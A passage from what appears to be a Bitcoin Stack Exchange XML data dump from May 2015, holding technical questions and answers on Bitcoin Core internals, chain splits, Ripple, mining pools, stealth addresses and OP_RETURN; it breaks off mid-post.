  <row Id="37260" PostTypeId="1" CreationDate="2015-05-06T08:35:05.600" Score="1" ViewCount="85" Body="&lt;p&gt;Bitcoin has been used by labourers in China to transfer money back home to their families, mostly because other transfers where more expensive. Many immigrants to richer countries support familiy in their origin country, these &lt;a href=&quot;http://en.wikipedia.org/wiki/Remittance&quot; rel=&quot;nofollow&quot;&gt;remittances&lt;/a&gt; are quiten important economic factor and may dwarf development aid received by a poor country. At least a while back, fees for international transfers where quite high. It could make sense for an immigrant to use bitcoin to remit money to their family. Is this widely done, is thie known?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it reasonably easy to get, say CFA in Senegal, or Naira in Nigeria fo bitcoin (not asking about those specific currencies, just to give you an idea). Would bitcoin even solve the transfer problem if there's not a reasonably large bitcoin 'market' in the receiving country, so you can by local or international currency locally without relying on an exchange service that sits outside of the country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking for two reasons, one this is an actual case where I think the tax and fee evasion possibility in *coin could do much good. Two, I think it'd be useful for the *coin communities because it would make *coins more useful around the world.&lt;/p&gt;&#xA;" OwnerUserId="13856" LastActivityDate="2015-05-06T08:35:05.600" Title="Is *coin widely used for international migrant remittances (private money transfer)?" Tags="|money-transfer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37262" PostTypeId="2" ParentId="37259" CreationDate="2015-05-06T11:40:55.907" Score="2" Body="&lt;p&gt;There's definitely no reason for that from a technical perspective. Success is entirely dependent on convincing all the wallets, nodes, and lastly miners in the network to make a breaking change to their software.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-05-06T11:40:55.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37264" PostTypeId="1" AcceptedAnswerId="37308" CreationDate="2015-05-06T12:16:55.720" Score="1" ViewCount="379" Body="&lt;p&gt;I am using BitcoinJ and wondering who user that I should credit, all users have their own receiving addresses. Please post an example also, if you have time. :)&#xA;Current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    wallet.addEventListener(new AbstractWalletEventListener(){&#xA;        @Override&#xA;        public void onCoinsReceived(Wallet wallet, Transaction tx, Coin prevBalance, Coin newBalance) {&#xA;            String txid = tx.getHashAsString();&#xA;            long received = newBalance.value-prevBalance.value;&#xA;            String address; // The receive address that the payment was sent to.&#xA;            int UserID = MySQL.getUserIDbyAddress(address);&#xA;            // Here will I credit the user.&#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26374" LastEditorUserId="2306" LastEditDate="2015-05-08T14:52:30.550" LastActivityDate="2015-05-08T21:57:51.663" Title="How do I get the address that received a payment?" Tags="|bitcoinj|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37266" PostTypeId="1" CreationDate="2015-05-06T12:33:54.117" Score="0" ViewCount="459" Body="&lt;p&gt;I've read in &quot;Mastering bitcoin&quot; that a wallet can construct a transaction even if offline but is full-index client, I know full node is a client which holds the complete blockchain data.&lt;br&gt;&#xA;is there a different between the two ? &#xA;Another question is how do I know I'm running full node? does 40giga of data in the data folder is my confirmation of running full node and having the complete blockchain on the HD ? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-05-06T12:59:04.693" Title="What is the different between full-index client to full node?" Tags="|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37267" PostTypeId="2" ParentId="37266" CreationDate="2015-05-06T12:59:04.693" Score="1" Body="&lt;p&gt;&quot;Full-index client&quot; is a term really coined by the author. I've never heard of it in the Bitcoin community. After reading &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch02.html#_common_transaction_forms&quot; rel=&quot;nofollow&quot;&gt;the section in the book&lt;/a&gt;, it seems that a full-index client is just a client that holds all the data in the blockchain but is not necessarily a full node. To be a full node you must adhere with all of the bitcoin protocol. A full-index client might not adhere with the entire bitcoin protocol, but would still have the entire blockchain. Full-index simply means &quot;holds all the data&quot;, but it might not be a full node. At least that's my interpretation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run a full node you must download &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core&lt;/a&gt;, which is the only supported &quot;full node&quot; I am aware of.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-06T12:59:04.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37268" PostTypeId="1" AcceptedAnswerId="37269" CreationDate="2015-05-06T15:04:36.517" Score="6" ViewCount="1556" Body="&lt;p&gt;I looked up log2_work inside &lt;code&gt;main.cpp&lt;/code&gt; and I can't follow its calculation by &lt;code&gt;log(chainActive.Tip()-&amp;gt;nChainWork.getdouble())/log(2.0)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) What is &lt;code&gt;-&amp;gt;&lt;/code&gt; explicitely indicating? (I'm at basic level of C++)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) And what is &lt;code&gt;log2_work&lt;/code&gt; exactly saying? Does it quantify the effort of calculation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28173/what-does-updatetip-mean#comment43584_28173&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-04-01T09:20:07.923" Title="Parameters in UpdateTip - calculation of log2_work" Tags="|blockchain|block|bitcoin-core-development|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37269" PostTypeId="2" ParentId="37268" CreationDate="2015-05-06T17:12:17.933" Score="10" Body="&lt;p&gt;FYI the code under discussion is available &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/6a877e870e0237f66414d0229f1b5cb38c5ca06d/src/main.cpp#L1970&quot;&gt;here on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt; is a member access operator in C++, just as &lt;code&gt;.&lt;/code&gt; is. They both expect the name of an object's member on the right (e.g. a member function or variable). The difference is that &lt;code&gt;.&lt;/code&gt; expects an object on the left, whereas &lt;code&gt;-&amp;gt;&lt;/code&gt; expects a pointer to an object which it first dereferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;chainActive.Tip()-&amp;gt;nChainWork.getdouble()&lt;/code&gt; starts with the active chain, gets a pointer to a CBlockIndex object which represents the current tip, dereferences that pointer and gets the total chain work of the tip (which is a 256 bit integer), and converts it to a double.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next it calculates &lt;code&gt;natural_log(total_chain_work) / natural_log(2)&lt;/code&gt;, which is the same as calculating &lt;code&gt;log_base_2(total_chain_work)&lt;/code&gt;. I presume this is simply to make the output smaller, as opposed to having to output the entire (much longer) &lt;code&gt;total_chain_work&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to get it back into the &lt;code&gt;total_chain_work&lt;/code&gt; format used in older versions, just calculate 2&lt;sup&gt;log2_work&lt;/sup&gt;, e.g. &lt;code&gt;pow(2.0, log2_work)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-05-07T13:39:26.703" LastActivityDate="2015-05-07T13:39:26.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37270" PostTypeId="1" CreationDate="2015-05-06T17:32:12.360" Score="3" ViewCount="3592" Body="&lt;p&gt;I have been reading over &lt;a href=&quot;https://ripple.com/files/ripple_deep_dive_for_financial_professionals.pdf&quot; rel=&quot;nofollow&quot;&gt;this document&lt;/a&gt; that Ripple Labs put out. The document says that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;XRP is there to provide two key functions: to prevent abuse of the system and to act as a bridge currency for market makers providing liquidity within the network. Thus, users can hold balances in one currency and transact in another currency without converting to XRPs in the process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And later&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In theory, users of the Ripple Network could exchange anything of value. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin already has spam prevention, and a much larger trading volume than Ripple, though. &lt;strong&gt;It's not clear to me why everything that Ripple Labs is doing couldn't have just been done with BTC.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really like what most of what Ripple is doing (trying to integrate with the existing financial system, for example), it's just hard to trust it knowing that the developers own so much XRP, combined with believing that it could have just been done with BTC. So, essentially, I'm looking to be convinced that the creation of their own token was, in fact, necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it just to fund Ripple Labs? I don't mean that in a negative way, I actually think that funding the development of decentralized applications is a difficult problem. Decentralization inherently allows users to participate in the system without consent from an authority, and without needing to pay any single entity. But then what incentive does that developing entity have to create the system? I think this is why so many decentralized projects are opensourced projects, rather than proprietary solutions. And the ones that are proprietary solutions (like Ripple), usually create their own token. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-05-06T23:20:52.410" LastActivityDate="2015-05-09T20:06:42.947" Title="What purpose does XRP serve in the ripple protocol?" Tags="|ripple|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37271" PostTypeId="1" CreationDate="2015-05-06T18:01:53.767" Score="1" ViewCount="246" Body="&lt;p&gt;I have version 0.9.3 of bitcoind (-qt) on my Ubuntu server and I want to&#xA;upgrade to 0.10.0, I just want to keep the blockchain and I have nothing in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;https://bitcoin.org/en/release/v0.10.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/release/v0.10.0&lt;/a&gt;, I found&#xA;&quot;or just copy over bitcoind/bitcoin-qt (on Linux)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo find / -name '*bitcoin-qt*'&#xA;/usr/local/src/bitcoin-0.9.3/src/qt/res/bitcoin-qt-res.rc&#xA;/usr/local/src/bitcoin-0.9.3/contrib/bitcoin-qt.pro&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/manpages/bitcoin-qt.1&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoin-qt.lintian-overrides&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoin-qt.protocol&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoin-qt.install&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoin-qt.desktop&#xA;/usr/local/bin/bitcoin-qt&#xA;/usr/local/bin/test_bitcoin-qt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find few files in .../bitcoin-0.9.3/...I guess those files have been used to compile the binary file /usr/local/bin/bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I can replace the binary bitcoin-qt with the new one in /usr/local/bin/ and remove everything in bitcoin-0.9.3? Is it correct ? Same question for bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo find / -name '*bitcoind*'&#xA;/usr/local/src/bitcoin-0.9.3/src/bitcoind.o&#xA;/usr/local/src/bitcoin-0.9.3/src/bitcoind.cpp&#xA;/usr/local/src/bitcoin-0.9.3/src/.deps/bitcoind.Po&#xA;/usr/local/src/bitcoin-0.9.3/src/bitcoind-res.rc&#xA;/usr/local/src/bitcoin-0.9.3/src/bitcoind&#xA;/usr/local/src/bitcoin-0.9.3/contrib/bitcoind.bash-completion&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/manpages/bitcoind.1&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoind.manpages&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoind.examples&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoind.install&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoind.bash-completion&#xA;/usr/local/src/bitcoin-0.9.3/contrib/debian/bitcoind.lintian-overrides&#xA;/usr/local/src/bitcoin-0.9.3/qa/pull-tester/run-bitcoind-for-test.sh.in&#xA;/usr/local/src/bitcoin-0.9.3/qa/pull-tester/run-bitcoind-for-test.sh&#xA;/usr/local/bin/bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And last question: what do I do with all those files in the .tar.gz archive downloaded from the web:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-0.10.0/bin/bitcoin-cli&#xA;bitcoin-0.10.0/bin/bitcoind&#xA;bitcoin-0.10.0/bin/bitcoin-qt&#xA;bitcoin-0.10.0/bin/bitcoin-tx&#xA;bitcoin-0.10.0/bin/test_bitcoin&#xA;bitcoin-0.10.0/bin/test_bitcoin-qt&#xA;&#xA;bitcoin-0.10.0/include/bitcoinconsensus.h&#xA;&#xA;bitcoin-0.10.0/lib/libbitcoinconsensus.so -&amp;gt; libbitcoinconsensus.so.0.0.0&#xA;bitcoin-0.10.0/lib/libbitcoinconsensus.so.0 -&amp;gt; libbitcoinconsensus.so.0.0.0&#xA;bitcoin-0.10.0/lib/libbitcoinconsensus.so.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22978" LastActivityDate="2015-05-06T18:01:53.767" Title="upgrading bitcoind (-qt) from 0.9.3 to 0.10" Tags="|ubuntu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37272" PostTypeId="2" ParentId="37270" CreationDate="2015-05-06T18:30:15.230" Score="4" Body="&lt;p&gt;It's not clear how you're imagining doing what Ripple does with Bitcoins, so it's hard to say whether you're correct or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean with the Bitcoins still being transferred on the blockchain and being used directly to pay transaction fees for Ripple transactions, that wouldn't work. Bitcoin transactions take time to confirm, and slowing Ripple down to Bitcoin's speed wouldn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean with the Bitcoins being virtualized somehow onto Ripple's ledger, it's hard to see how you can do that reliably without a central authority. Also, what do you do with the Bitcoins that pay transaction fees? Destroy them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You haven't really set out your proposed alternative in much detail. It's possible that you do have some good way to do it. But I don't know of one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the main points of Ripple is to solve the double spend problem without relying on proof of work and without being vulnerable to 51% attacks that have no clear solution. Building on top of Bitcoin would make a system that was at best no stronger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are significant benefits to having a native currency on the same ledger.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-05-09T20:06:42.947" LastActivityDate="2015-05-09T20:06:42.947" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37273" PostTypeId="1" AcceptedAnswerId="37275" CreationDate="2015-05-06T19:36:13.647" Score="6" ViewCount="2587" Body="&lt;p&gt;Let's say two miners created 2 different blocks and broadcast them into the network. Now some clients see blockchain 1 and other blockchain 2 which are different from each other.&lt;br&gt;&#xA;I would like to understand technically as possible how in the end the majority of clients will continue with only single chain and the other be abandoned?&lt;br&gt;&#xA;Why will they choose one over the other?&lt;br&gt;&#xA;I would like to believe this is done automatically by the clients / miners without human touch, only by some kind of coded logic. That logic is what I'm after.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12462/what-happens-to-extinct-blockchains-and-transactions-inside-of-them/&quot;&gt;What happens to extinct blockchains, and transactions inside of them?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5406" LastEditDate="2018-05-04T17:05:00.903" LastActivityDate="2018-05-04T17:05:00.903" Title="How is a blockchain split resolved?" Tags="|blockchain|blockchain-fork|consensus|best-chain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37274" PostTypeId="2" ParentId="37273" CreationDate="2015-05-06T20:21:54.350" Score="4" Body="&lt;p&gt;This is explained in the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitcoin paper&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nodes always consider the longest chain to be the correct one and will&#xA;  keep working on extending it. If two nodes broadcast different&#xA;  versions of the next block simultaneously, some nodes may receive one&#xA;  or the other first. In that case, they work on the first one they&#xA;  received, but save the other branch in case it becomes longer. The tie&#xA;  will be broken when the next proof-of-work is found and one branch&#xA;  becomes longer; the nodes that were working on the other branch will&#xA;  then switch to the longer one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The idea is that it's quite rare for the network to find 2 different blocks at around the same time. If it happens, you'll have peers working on one chain and others on the other. It becomes even rarer for it to happen in succession, so it's just a matter of time that the network will converge on a single chain.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-06T20:21:54.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37275" PostTypeId="2" ParentId="37273" CreationDate="2015-05-06T20:23:36.927" Score="10" Body="&lt;p&gt;You're looking for &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/1d9d314573ee48f6f51107265f1cf1fa9e36c998/src/main.cpp#L91&quot; rel=&quot;noreferrer&quot;&gt;CBlockIndexWorkComparator&lt;/a&gt;, which operates by three rules. The rules are applied one at a time, and if a rule leads to a tie, then the next rule is applied.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which blockchain has &lt;a href=&quot;https://bitcoin.stackexchange.com/a/939/2306&quot;&gt;the most work&lt;/a&gt;? &lt;/li&gt;&#xA;&lt;li&gt;Which one was received first? (This can be different for different clients, which is why the previous rule is applied first.)&lt;/li&gt;&#xA;&lt;li&gt;Which one has a larger pointer address? (This is largely random, and different for different clients.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-05-06T20:36:09.380" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37276" PostTypeId="1" CreationDate="2015-05-06T21:03:57.780" Score="4" ViewCount="1241" Body="&lt;p&gt;&lt;a href=&quot;http://www.gridcoin.us/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gridcoin&lt;/a&gt; advertises itself as a &quot;a mandatory competitive reward mechanism based on contributing the most towards BOINC projects on top of existing cryptocurrency technology.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason why Bitcoin couldn't use Gridcoin's proof of work system, either to secure the system, or to distribute coins? What consequences would switching to their system have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37246/what-sort-of-calculations-do-the-miners-have-your-computer-do&quot;&gt;What sort of calculations do the miners have your computer do?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2017-07-07T12:18:01.270" Title="Why can't Bitcoin switch over to Gridcoin's proof of work system?" Tags="|proof-of-work|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37277" PostTypeId="2" ParentId="37276" CreationDate="2015-05-06T21:56:50.093" Score="4" Body="&lt;p&gt;From what I can gather from their wiki: &lt;a href=&quot;http://wiki.gridcoin.us/Proof-of-Research&quot; rel=&quot;nofollow&quot;&gt;http://wiki.gridcoin.us/Proof-of-Research&lt;/a&gt;, Gridcoin is just a proof of stake coin with a centralized &quot;proof of research&quot; tacked on. The work required for &quot;proof of research&quot; is completely unrelated to the transaction ledger, so you can't use it to secure the transaction ledger.    &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-05-06T21:56:50.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37278" PostTypeId="1" AcceptedAnswerId="37287" CreationDate="2015-05-07T06:06:13.950" Score="2" ViewCount="252" Body="&lt;p&gt;Lets say user &lt;code&gt;A&lt;/code&gt; wants to send bitcoin to user &lt;code&gt;B&lt;/code&gt; stealth address.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is exactly user &lt;code&gt;B&lt;/code&gt;'s stealth address? Is it his public key? Since User &lt;code&gt;A&lt;/code&gt; needs to multiply his private key with user &lt;code&gt;B&lt;/code&gt;'s public key based on &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman&quot; rel=&quot;nofollow&quot;&gt;Elliptic Curve Diffie-Hellman&lt;/a&gt; so I assume user &lt;code&gt;A&lt;/code&gt; is receiving the complete point which is user &lt;code&gt;B&lt;/code&gt;'s public key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;User &lt;code&gt;A&lt;/code&gt; shoud calculate &lt;code&gt;PrivA * PublicB&lt;/code&gt; which results in a coordinate. As far as I know this point will be used by multiplying it to the &lt;code&gt;publicB&lt;/code&gt; and a nonce and that will be sent to the network. If what I am saying is correct, how can I multiply this coordinate with &lt;code&gt;PublicB&lt;/code&gt; since both of them are points. Do we only get one axis of this point from the diffie hellman's calculation?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-05-07T16:45:21.740" Title="Stealth address in technical level" Tags="|stealth-address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37279" PostTypeId="1" CreationDate="2015-05-07T06:43:41.990" Score="13" ViewCount="2428" Body="&lt;p&gt;How is work distributed among members of a pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the block hashing algorithm and valid hashes of a new node, how is the set of solutions for nonces &quot;distributed&quot; among miners?&lt;br/&gt;Is a nonce, for example, tried out multiple times by different miners in the pool? Or do miners split the space of solutions among each other, each working with a limited and mutually exclusive range of nonces?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="5406" LastEditDate="2016-03-31T17:10:05.753" LastActivityDate="2016-03-31T17:10:05.753" Title="Work distribution in a mining pool" Tags="|mining-pools|hash|getblocktemplate|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37280" PostTypeId="2" ParentId="30401" CreationDate="2015-05-07T07:22:21.663" Score="5" Body="&lt;p&gt;Check out xchange on github::&#xA;&lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;nofollow&quot;&gt;https://github.com/timmolter/XChange&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works on multiple exchanges, and is written in Java.&lt;/p&gt;&#xA;" OwnerUserId="26383" LastEditorUserId="2306" LastEditDate="2015-05-07T13:49:11.507" LastActivityDate="2015-05-07T13:49:11.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37281" PostTypeId="2" ParentId="37279" CreationDate="2015-05-07T10:09:11.710" Score="0" Body="&lt;p&gt;To clarify this first, header &lt;code&gt;h&lt;/code&gt; which is hashed by miners using double SHA256 is a summation of version &lt;code&gt;v&lt;/code&gt;, previous block's hash &lt;code&gt;pb&lt;/code&gt; root hashof &lt;code&gt;r&lt;/code&gt;, time &lt;code&gt;t&lt;/code&gt;, bits &lt;code&gt;b&lt;/code&gt; which is the target (difficulty) in addition to a &lt;code&gt;nonce&lt;/code&gt;. &lt;br&gt;&#xA;Keep in mind that the &lt;code&gt;nonce&lt;/code&gt; is not a really big number. In fact a fast ASIC miner can test all different values in a &lt;code&gt;nonce&lt;/code&gt;. But there are other dynamic attributes like &lt;code&gt;t&lt;/code&gt; which gives a new set of possibilities for a nonce every second and also root hash &lt;code&gt;r&lt;/code&gt; which is the hash of all transactions in merkle root. Depending on how you sort the transactions it makes different roots. &lt;br&gt; &#xA;Depending on the pool, the pool organizer should try not to waste its miners effort by making the most out of it efficiently. So by changing the position of transactions, pool organizer can make different &lt;code&gt;r&lt;/code&gt; which can also make different works for its miners. Additionally transactions that are added every second can also change &lt;code&gt;r&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="21331" LastEditDate="2015-05-07T10:22:44.017" LastActivityDate="2015-05-07T10:22:44.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37282" PostTypeId="1" CreationDate="2015-05-07T10:56:47.873" Score="0" ViewCount="297" Body="&lt;p&gt;This is a technical question and I don't have the answer. I would like someone to explain why this data is necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your answer is receipts or smart contracts, then my question is, &quot;Why not put that in side chains?&quot; I see two problems with this data being in the bitcoin block chain: First, it allows malicious data to be inserted. Second, it takes up more block chain space. Here is the cointelegraph article about music:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cointelegraph.com/news/114172/music-copyrights-stored-on-the-bitcoin-blockchain-rock-band-22hertz-leads-the-way&quot; rel=&quot;nofollow&quot;&gt;http://cointelegraph.com/news/114172/music-copyrights-stored-on-the-bitcoin-blockchain-rock-band-22hertz-leads-the-way&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is a copy of my post here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/rBitcoin/comments/355pvr/time_to_move_data_storage_of_things_like_music/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/rBitcoin/comments/355pvr/time_to_move_data_storage_of_things_like_music/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26386" LastEditorUserId="2306" LastEditDate="2015-05-07T13:55:47.170" LastActivityDate="2015-05-07T15:22:40.147" Title="Is it time to move data storage (of things like music, images, virus definitions) out of the block chain?" Tags="|blockchain|block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37284" PostTypeId="2" ParentId="37282" CreationDate="2015-05-07T13:30:44.473" Score="0" Body="&lt;p&gt;A transaction can only store a very little amount of data, not enough for music or images. What can be stored is the hash of a music/image file, which is of predictable size, and in my opinion does not present an issue.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-07T13:30:44.473" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37285" PostTypeId="2" ParentId="37282" CreationDate="2015-05-07T15:22:40.147" Score="1" Body="&lt;p&gt;It certainly isn't &quot;necessary&quot; for proper functioning of the Bitcoin currency, it's just something that people noticed they could do.  But there isn't any obvious way to stop it, short of a complete overhaul of the Bitcoin protocol.  There are lots of ways to insert small pieces of arbitrary data in a Bitcoin transaction (including even the addresses themselves).  So I don't know how we would go about &quot;moving data storage out of the block chain&quot; even if we wanted to.  We certainly can't do anything about the data that is already there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current standard way to achieve this is with the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode in a transaction script.  I understand the Bitcoin developers actually took steps to make this feature easier to use: not particularly because they wanted to encourage people adding data to the block chain (as you say it takes up space), but because &lt;code&gt;OP_RETURN&lt;/code&gt; is less disruptive than some alternative methods (for one thing, it is limited to fairly small payloads).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-05-07T15:22:40.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37286" PostTypeId="1" AcceptedAnswerId="37288" CreationDate="2015-05-07T16:18:50.460" Score="2" ViewCount="514" Body="&lt;p&gt;Where should I look at in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/src/secp256k1/src&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Core source code&lt;/a&gt; to figure out how the signature process trasform a message in a curve point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sign a transaction (message) in Bitcoin system, you need to encode the message to a point of the curve y^2=x^3+7. I read this &lt;a href=&quot;http://math.boisestate.edu/~liljanab/MATH508/KoblitzEmbedding.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Koblitz's paper&lt;/a&gt;. There are three encoding schemes. I read &lt;a href=&quot;https://crypto.stackexchange.com/questions/24240/koblitz-encoding-a-message-to-a-point-what-is-the-associated-auxiliary-base-pa&quot;&gt;this question&lt;/a&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look at in Bitcoin Core source code I can't see any of these encoding schemes, it seems to me that message M is directly encoded in a point m=hash(M) without check; obviously that is not possible, there is roughly a 50% chance that a random 256 bit string don't correspond to a point of the curve. I can't find out how/if the ECDSA library checks if hash(M) is on the curve or not and especially what it does if the hash(M) is not on the curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What encoding scheme does Bitcoin-ECDSA implement and where is it in the source code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and sorry for my English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin: Signature generation (ECDSA)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a message m to be signed and the private key 